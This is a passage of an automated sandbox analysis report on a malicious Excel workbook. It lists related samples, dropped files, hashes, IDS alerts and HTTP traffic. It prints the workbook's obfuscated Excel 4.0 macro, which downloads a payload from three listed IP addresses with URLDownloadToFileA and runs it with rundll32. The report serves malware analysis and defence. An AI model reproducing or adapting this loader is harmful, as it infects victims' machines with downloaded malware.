	SVCj8158Aq.exe	Get hash	malicious	Browse	185.117.73.222
	25PGo0fSFz.exe	Get hash	malicious	Browse	185.117.73.222
	Nl0L0K7vrA.exe	Get hash	malicious	Browse	185.117.73.222
	Debt-Details-2065399866-05132021.xlsm	Get hash	malicious	Browse	185.183.98.29
	Debt-Details-2065399866-05132021.xlsm	Get hash	malicious	Browse	185.183.98.29
	Debt-Details-717769301-05132021.xlsm	Get hash	malicious	Browse	185.183.96.233
	Debt-Details-717769301-05132021.xlsm	Get hash	malicious	Browse	185.183.96.233
GREENFLOID-ASUA	de2e6c2a_by_Libranalysis.xlsx	Get hash	malicious	Browse	45.90.57.62
	3a0c2e79_by_Libranalysis.xlsx	Get hash	malicious	Browse	82.118.21.38
	de2e6c2a_by_Libranalysis.xlsx	Get hash	malicious	Browse	45.90.57.62
	7db2da09_by_Libranalysis.xlsx	Get hash	malicious	Browse	82.118.21.38
	3a0c2e79_by_Libranalysis.xlsx	Get hash	malicious	Browse	82.118.21.38
	f4853f40_by_Libranalysis.xlsx	Get hash	malicious	Browse	82.118.21.38
	7db2da09_by_Libranalysis.xlsx	Get hash	malicious	Browse	82.118.21.38
	e3ab9776_by_Libranalysis.xlsx	Get hash	malicious	Browse	82.118.21.38
	f4853f40_by_Libranalysis.xlsx	Get hash	malicious	Browse	82.118.21.38
	e3ab9776_by_Libranalysis.xlsx	Get hash	malicious	Browse	82.118.21.38
	xxrM0xh3us.exe	Get hash	malicious	Browse	82.118.22.75
	3510495740-05102021.xlsm	Get hash	malicious	Browse	195.123.235.1
	3510495740-05102021.xlsm	Get hash	malicious	Browse	195.123.235.1
	3510495740-05102021.xlsm	Get hash	malicious	Browse	195.123.235.1
	CtpIYy9OZ6K8kY3.exe	Get hash	malicious	Browse	195.123.234.243
	520b670d_by_Libranalysis.xlsm	Get hash	malicious	Browse	195.123.235.1
	520b670d_by_Libranalysis.xlsm	Get hash	malicious	Browse	195.123.235.1
	520b670d_by_Libranalysis.xlsm	Get hash	malicious	Browse	195.123.235.1
	Outstanding-Debt-1241609431-05042021.xlsm	Get hash	malicious	Browse	5.34.179.36
	Outstanding-Debt-1241609431-05042021.xlsm	Get hash	malicious	Browse	5.34.179.36
ADCDATACOM-AS-APADCDATACOMHK	de2e6c2a_by_Libranalysis.xlsx	Get hash	malicious	Browse	194.156.98.173
	de2e6c2a_by_Libranalysis.xlsx	Get hash	malicious	Browse	194.156.98.173
	c33304d6_by_Libranalysis.docm	Get hash	malicious	Browse	194.156.98.157
	c33304d6_by_Libranalysis.docm	Get hash	malicious	Browse	194.156.98.157
	2sOfVsf40V.exe	Get hash	malicious	Browse	194.156.98.159
	373.docx.exe	Get hash	malicious	Browse	194.156.99.64
	373.docx.exe	Get hash	malicious	Browse	194.156.99.64
	373.docx.exe	Get hash	malicious	Browse	194.156.99.64
	38#U0442.exe	Get hash	malicious	Browse	194.156.99.64
	38#U0442.exe	Get hash	malicious	Browse	194.156.99.64
	QwLijaR9ex.exe	Get hash	malicious	Browse	194.156.98.99
	order_list_fe99087.xls	Get hash	malicious	Browse	194.156.98.99
	516783.PO.xls	Get hash	malicious	Browse	194.156.98.99
	FileSetup-v58.37.15.exe	Get hash	malicious	Browse	45.84.179.6
	bUs2WfheTq.exe	Get hash	malicious	Browse	194.156.98.46

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\DD3D6ABC.jpg Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	[TIFF image data, big-endian, direntries=9, software=Adobe Photoshop 22.0 (Windows), datetime=2021:03:02 23:57:02], baseline, precision 8, 1600x1600, frames 3
Category:	dropped
Size (bytes):	185386
Entropy (8bit):	7.326521161282199
Encrypted:	false
SSDEEP:	3072:0LQj2wtPO88Ew5AIsPixqYtVYeFH4ZwHrcRd7Ay2rf4KGn5hk57do:0Lex0VAIu4bVYeVHrK5AySfahk8
MD5:	A6E3680B30CEC6746291E55B7D9B6975
SHA1:	E45C3A057F840EF4C96AB8233E1E21700BBDA199
SHA-256:	89934494B26BCA1A6B28C2D262392548FA12CEBDF648E5F2DCD793CBF71FB261
SHA-512:	FD0DE48198B51F437ADFFC5A0F12880334047D177E67D92199EFEF09F697FC0771D738B28E47EAB17FD52A772AE74CEAFABFD0F7253C526B86D5ADD4912F712B
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	......JFIF.....`.`.....NExif..MM.*.......1...........2..................................Q...........Q...........Q...........i.....................z....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2FEE0000 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	201556
Entropy (8bit):	7.357000821698613
Encrypted:	false
SSDEEP:	6144:taBwxLex0VAIu4bVYeVHrK5AySfahklOGL7:ttlex0VbLbGeH+59SjEGX
MD5:	EDA15C10E3180C047F6CDB5963A35AA8
SHA1:	76FDEB42F4307B4DA7279C64F413736B407C6FED
SHA-256:	B7A3CAB098B593EBAC220066576493F3AE525362C2C283DD93EE664DF0D3578C
SHA-512:	900AF245DCBBCA5FB7A6234B2485B61DE3D84E33F5A88F8BCDB02831E74402023D32CC8AC18C4DFDE59D56C73DE3BB8745ACEA4C50ABE9FA37A7D07F0BD58500
Malicious:	false
Reputation:	low
Preview:	...n.0.............0...[.v..H..F..Im......$......e..$M..^...=..........VS......+.B.#A[.%[c`....wk.!#k.JV..q.D....:4.....H.............hb....M.p..:f.+z..d....7.%T..9..Dr.?.....b..J+.......2......c....{..u...FU.e.X....(....s8..v...SM...*.~...Jbv.>.....W.?Y..[.,..).M.q%P.m........i..y....}.5..R.....n..../....>.....o.KE....U....N.D..v.;&.K5RKD.^....H[.#q.....\|.~.....=F......l.Ww.o.#~H.O...]...BG......Y.r.;.>>M..o]...q...,Y..G..,...;"M....y.i.K.{...........PK..........!.................[Content_Types].xml ...(................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Tue Oct 17 10:04:00 2017, mtime=Sat May 15 00:20:46 2021, atime=Sat May 15 00:20:46 2021, length=16384, window=hide
Category:	dropped
Size (bytes):	867
Entropy (8bit):	4.502712221051524
Encrypted:	false
SSDEEP:	12:85QaCLgXg/XAlCPCHaXtB8XzB/xs9ZX+WnicvbSR9bDtZ3YilMMEpxRljKt2TdJU:85U/XTd6jcZYe6Dv3qlrNru/
MD5:	31D9A95EA06A55CCB6840E8E1F5C6EB7
SHA1:	8CAD094E619443D49BBF2C5EF5E0D02DE9A93EDF
SHA-256:	C53CD5D78F3A4A18351F722B683BECA2630CE31576186821BD443D53C1537DFD
SHA-512:	FC73738150AB5C192151E3E33AF03AA52F56D0071D00B136AC97372D65ABECC792EFC46216D6A601086CE91BA55D98A414501CC48CAC81DC1AF31621BC9C321E
Malicious:	false
Reputation:	low
Preview:	L..................F...........7G...ji.(I...ji.(I...@......................i....P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y...&=....U...............A.l.b.u.s.....z.1......R....Desktop.d......QK.X.R....._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......i...............-...8...[............?J......C:\Users\..#...................\\287400\Users.user\Desktop.......\.....\.....\.....\.....\.D.e.s.k.t.o.p.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......287400..........D_....3N...W...9r.[........}EkD_....3N...W...9r.[.*.......}Ek....

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\a5c5a139_by_Libranalysis.LNK Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Sat May 15 00:20:28 2021, mtime=Sat May 15 00:20:46 2021, atime=Sat May 15 00:20:46 2021, length=200665, window=hide
Category:	dropped
Size (bytes):	2178
Entropy (8bit):	4.606023709505623
Encrypted:	false
SSDEEP:	48:83/XT0jhfOOENr/hNCOOEylQh23/XT0jhfOOENr/hNCOOEylQ/:83/XojhfOFHNCOFylQh23/XojhfOFHNv
MD5:	DC7596373682AD43A7733D42FE2A0A74
SHA1:	2121DA076AEADE04038FFC86671D24132C5DB4D6
SHA-256:	DED727AA295B5484BC7B124BD554095FA6F5DDEE592B978DF2D16D4BCAF2767E
SHA-512:	DCE6FA7BDA244278545E1AD3600E701351702E3A3C93F73FFB5B861073E75F928A67BD8430B58805B748BAB0722D2C1BA1F3BA9278354A84A73B12034930D0D8
Malicious:	false
Reputation:	low
Preview:	L..................F.... ...M..}(I...ji.(I...p.(I...............................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y...&=....U...............A.l.b.u.s.....z.1......R....Desktop.d......QK.X.R....._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......2......R.. .A5C5A1~1.XLS..h......R...R.....9&....................a.5.c.5.a.1.3.9._.b.y._.L.i.b.r.a.n.a.l.y.s.i.s...x.l.s.x.......................-...8...[............?J......C:\Users\..#...................\\287400\Users.user\Desktop\a5c5a139_by_Libranalysis.xlsx.4.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.a.5.c.5.a.1.3.9._.b.y._.L.i.b.r.a.n.a.l.y.s.i.s...x.l.s.x.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X..

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	127
Entropy (8bit):	4.670590395516913
Encrypted:	false
SSDEEP:	3:oyBVomxWPS6IUwSLMp6lcQHl6IUwSLMp6lmxWPS6IUwSLMp6lv:dj8hN2NXhNf
MD5:	41D0C0C77A2F9EA83301A886C932D7D2
SHA1:	7E3FF4C55C5C7C3456C395AAD7105BF8E02DF356
SHA-256:	1723978535AF19FDC47AA70EB6D687456981094429EF402E6CD768FB726B7DE2
SHA-512:	508F4340A42840E74085FC4076E9308E97CD2CCA97E700CD191B67EC17E47FAE890DBDAF92917F4D76E53D35C6C11D5060DE9F1093DB45EC2287EBE78D6A3080
Malicious:	false
Reputation:	low
Preview:	Desktop.LNK=0..[misc]..a5c5a139_by_Libranalysis.LNK=0..a5c5a139_by_Libranalysis.LNK=0..[misc]..a5c5a139_by_Libranalysis.LNK=0..

C:\Users\user\Desktop\FFEE0000 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	200665
Entropy (8bit):	7.351335282810134
Encrypted:	false
SSDEEP:	3072:uEwLQj2wtPO88Ew5AIsPixqYtVYeFH4ZwHrcRd7Ay2rf4KGn5hk57dDOOLR:uxLex0VAIu4bVYeVHrK5AySfahkvOOLR
MD5:	8EB6632AB55682C48CAC51495A89946C
SHA1:	586F7CF6009A5F5EC008FF072720ED364F350A85
SHA-256:	94154E914FC7661E71010367A385662CF250D034091E0EF2BA10CB1EADCA9A43
SHA-512:	5976F09FD656A9A7C6E62A0883124FF35CDB43D0DF8975234EA30D033C6655672130917C84A466B4246DC6B72D5618F9CCE6294D3945E783D71C443A68ADDD29
Malicious:	false
Reputation:	low
Preview:	..n.0............a..n....{.Ubl5.$.l...('.. ...0..(..G.29.^..x..6.J..cQ...X_W.....(..7....X.....O..e.,8.c%...CJ........YH.".M..J.U..\|<..:x.O#..b:..3......+.'.Eq.Z..*.btV+bP....(.fV....e..c.e....1YvL.@...;=.8.g.............!......Xo..6W.9B..~..L.@q.....%.N..4..a^...[..e...O.....ew:;1H....q>....p\....@8.....?q...Av.o.N...EZ:..g..=....A.'..W...I.-#......:..7...O\...!....)D. A....G.. ..M...6.<M.7.1 .+...o.G........PK..........!...Gx...._.......[Content_Types].xml ...(.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\~$a5c5a139_by_Libranalysis.xls Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:vZ/FFDJw2fV:vBFFGS
MD5:	797869BB881CFBCDAC2064F92B26E46F
SHA1:	61C1B8FBF505956A77E9A79CE74EF5E281B01F4B
SHA-256:	D4E4008DD7DFB936F22D9EF3CC569C6F88804715EAB8101045BA1CD0B081F185
SHA-512:	1B8350E1500F969107754045EB84EA9F72B53498B1DC05911D6C7E771316C632EA750FBCE8AD3A82D664E3C65CC5251D0E4A21F750911AE5DC2FC3653E49F58D
Malicious:	false
Reputation:	high, very likely benign file
Preview:	.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\user\Desktop\~$a5c5a139_by_Libranalysis.xlsx Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	330
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:vZ/FFDJw2fj/FFDJw2fV:vBFFGaFFGS
MD5:	96114D75E30EBD26B572C1FC83D1D02E
SHA1:	A44EEBDA5EB09862AC46346227F06F8CFAF19407
SHA-256:	0C6F8CF0E504C17073E4C614C8A7063F194E335D840611EEFA9E29C7CED1A523
SHA-512:	52D33C36DF2A91E63A9B1949FDC5D69E6A3610CD3855A2E3FC25017BF0A12717FC15EB8AC6113DC7D69C06AD4A83FAF0F021AD7C8D30600AA8168348BD0FA9E0
Malicious:	true
Preview:	.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Static File Info

General
File type:	Microsoft Excel 2007+
Entropy (8bit):	7.361461703898337
TrID:	Excel Microsoft Office Open XML Format document (40004/1) 83.33% ZIP compressed archive (8000/1) 16.67%
File name:	a5c5a139_by_Libranalysis.xlsx
File size:	202458
MD5:	a5c5a139b458c718527f59afe34a759a
SHA1:	a2743d88245ac25263afffd7f4dcbd0fe53e0bdf
SHA256:	16383e719fa9ff39d7d4dac2631fa8bfe0a6f63d5130c33053bc0db5e5aa1f89
SHA512:	274978ae4caafc3474896b5b4478f59eacfd056f3a258bbd3c6fec7933586d93ba90dbbab5a90e10c0fcd47b4073ca287ada65ed1daabbb98abd5fa559306e2d
SSDEEP:	3072:ctbmLQj2wtPO88Ew5AIsPixqYtVYeFH4ZwHrcRd7Ay2rf4KGn5hk57dB:4mLex0VAIu4bVYeVHrK5AySfahk1
File Content Preview:	PK..........!..H.g............[Content_Types].xml ...(.........................................................................................................................................................................................................

File Icon


Icon Hash:	e4e2aa8aa4b4bcb4

Static OLE Info

General
Document Type:	OpenXML
Number of OLE Files:	1

OLE File "a5c5a139_by_Libranalysis.xlsx"

Indicators
Has Summary Info:
Application Name:
Encrypted Document:
Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:
Contains Visio Document Stream:
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:

Macro 4.0 Code

"=FORMULA(Sheet000!J17&Sheet000!J22&Sheet000!J19,G19)=PI()=PI()=PI()"=HALT()

,,,"=FORMULA(Sheet000!P16,F27)=PI()=PI()=PI()",,,,,,,,,,,,"=NOW()&"".dat""",,,,,=,,,,REGIS,,,,"TER(""uRlM",,,,"=""htt""""on"",""URLDown",,"=""45.90.57.62/""","=JKKHYUGFD(0,G27&G28&E28&F23,""..\lertio.cersw"",0,0)",p://"loadToFileA"",""J",,"=""185.198.57.83/""","=JKKHYUGFD(0,G27&G28&E29&F23,""..\lertio.cersw1"",0,0)","JCCBB"",""JKKH",,"=""194.156.98.173/""","=JKKHYUGFD(0,G27&G28&E30&F23,""..\lertio.cersw2"",0,0)","YUGFD"",,1,9)",,,,,,,,,,,,,,,,,,,=GOTO(Sheet2!H13),

"=ON.TIME(NOW()+""00:00:02"",""Hot"")"=HALT()

"=FORMULA(Sheet000!J17&Sheet000!J21&Sheet000!J19,G19)=PI()=PI()=PI()"=GOTO(Sheet4!G5)

"=FORMULA(Sheet000!J17&Sheet000!J18&Sheet000!J19,H25)=PI()=PI()=PI()",,=,,,,"EXEC(""ru",,,,"ndll32 ""&""",,,,..\lertio.cersw,..\lertio.cersw1,..\lertio.cersw2,,"""&"",Dll",,,,Regist,,,,"erServer"")",,,,,,,,,,,,,,,,,,,,,,=GOTO(Sheet3!G2),,,,

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
05/14/21-18:20:46.726203	TCP	1201	ATTACK-RESPONSES 403 Forbidden	80	49165	45.90.57.62	192.168.2.22
05/14/21-18:20:47.007214	TCP	1201	ATTACK-RESPONSES 403 Forbidden	80	49166	185.198.57.83	192.168.2.22
05/14/21-18:20:52.224764	TCP	1201	ATTACK-RESPONSES 403 Forbidden	80	49167	194.156.98.173	192.168.2.22

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 14, 2021 18:20:46.480609894 CEST	49165	80	192.168.2.22	45.90.57.62
May 14, 2021 18:20:46.521224022 CEST	80	49165	45.90.57.62	192.168.2.22
May 14, 2021 18:20:46.521389008 CEST	49165	80	192.168.2.22	45.90.57.62
May 14, 2021 18:20:46.522207022 CEST	49165	80	192.168.2.22	45.90.57.62
May 14, 2021 18:20:46.561770916 CEST	80	49165	45.90.57.62	192.168.2.22
May 14, 2021 18:20:46.726202965 CEST	80	49165	45.90.57.62	192.168.2.22
May 14, 2021 18:20:46.726270914 CEST	49165	80	192.168.2.22	45.90.57.62
May 14, 2021 18:20:46.752799034 CEST	49166	80	192.168.2.22	185.198.57.83
May 14, 2021 18:20:46.808867931 CEST	80	49166	185.198.57.83	192.168.2.22
May 14, 2021 18:20:46.809041023 CEST	49166	80	192.168.2.22	185.198.57.83
May 14, 2021 18:20:46.809680939 CEST	49166	80	192.168.2.22	185.198.57.83
May 14, 2021 18:20:46.865840912 CEST	80	49166	185.198.57.83	192.168.2.22
May 14, 2021 18:20:47.007214069 CEST	80	49166	185.198.57.83	192.168.2.22
May 14, 2021 18:20:47.007383108 CEST	49166	80	192.168.2.22	185.198.57.83
May 14, 2021 18:20:47.018506050 CEST	49167	80	192.168.2.22	194.156.98.173
May 14, 2021 18:20:50.027827024 CEST	49167	80	192.168.2.22	194.156.98.173
May 14, 2021 18:20:50.279433012 CEST	80	49167	194.156.98.173	192.168.2.22
May 14, 2021 18:20:50.279583931 CEST	49167	80	192.168.2.22	194.156.98.173
May 14, 2021 18:20:50.280206919 CEST	49167	80	192.168.2.22	194.156.98.173
May 14, 2021 18:20:50.531142950 CEST	80	49167	194.156.98.173	192.168.2.22
May 14, 2021 18:20:52.224764109 CEST	80	49167	194.156.98.173	192.168.2.22
May 14, 2021 18:20:52.224916935 CEST	49167	80	192.168.2.22	194.156.98.173
May 14, 2021 18:21:51.728797913 CEST	80	49165	45.90.57.62	192.168.2.22
May 14, 2021 18:21:51.728991985 CEST	49165	80	192.168.2.22	45.90.57.62
May 14, 2021 18:21:52.008661985 CEST	80	49166	185.198.57.83	192.168.2.22
May 14, 2021 18:21:52.008863926 CEST	49166	80	192.168.2.22	185.198.57.83
May 14, 2021 18:21:57.228473902 CEST	80	49167	194.156.98.173	192.168.2.22
May 14, 2021 18:21:57.228738070 CEST	49167	80	192.168.2.22	194.156.98.173
May 14, 2021 18:22:46.409228086 CEST	49167	80	192.168.2.22	194.156.98.173
May 14, 2021 18:22:46.409770966 CEST	49166	80	192.168.2.22	185.198.57.83
May 14, 2021 18:22:46.411212921 CEST	49165	80	192.168.2.22	45.90.57.62
May 14, 2021 18:22:46.450882912 CEST	80	49165	45.90.57.62	192.168.2.22
May 14, 2021 18:22:46.463902950 CEST	80	49166	185.198.57.83	192.168.2.22
May 14, 2021 18:22:46.659295082 CEST	80	49167	194.156.98.173	192.168.2.22

HTTP Request Dependency Graph

45.90.57.62

185.198.57.83

194.156.98.173

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49165	45.90.57.62	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
May 14, 2021 18:20:46.522207022 CEST	0	OUT	GET /44330.7644571759.dat HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 45.90.57.62 Connection: Keep-Alive
May 14, 2021 18:20:46.726202965 CEST	1	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Fri, 14 May 2021 16:20:46 GMT Content-Type: text/html Content-Length: 548 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.22	49166	185.198.57.83	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
May 14, 2021 18:20:46.809680939 CEST	1	OUT	GET /44330.7644571759.dat HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 185.198.57.83 Connection: Keep-Alive
May 14, 2021 18:20:47.007214069 CEST	2	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Fri, 14 May 2021 16:20:46 GMT Content-Type: text/html Content-Length: 548 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.22	49167	194.156.98.173	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
May 14, 2021 18:20:50.280206919 CEST	3	OUT	GET /44330.7644571759.dat HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 194.156.98.173 Connection: Keep-Alive
